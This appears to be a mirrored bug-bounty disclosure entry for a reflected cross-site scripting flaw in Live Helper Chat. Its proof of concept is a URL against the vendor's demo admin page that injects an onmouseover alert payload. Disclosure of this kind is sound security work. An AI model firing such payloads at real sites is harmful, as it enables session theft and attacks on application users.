Lucene search

K
huntrAggressiveuser8FD8DE01-7E83-4324-9CC8-A97ACB9B70D6
HistoryApr 26, 2022 - 10:30 a.m.

Cross-site Scripting (XSS)

2022-04-2610:30:11
aggressiveuser
www.huntr.dev
19

0.001 Low

EPSS

Percentile

30.2%

Proof of Concept

1) Login to the webapplication 
2) Navigate to the below URL
URL :- https://demo.livehelperchat.com/site_admin/system/languages/(updated)/true/(sa)/HEXX%22%3E%3Ca%20onmouseover=alert(11122)%3EDEXX%3Ca

Below some image POC

BurpSuite Request
XSS Trigger in Browser

0.001 Low

EPSS

Percentile

30.2%

Related for 8FD8DE01-7E83-4324-9CC8-A97ACB9B70D6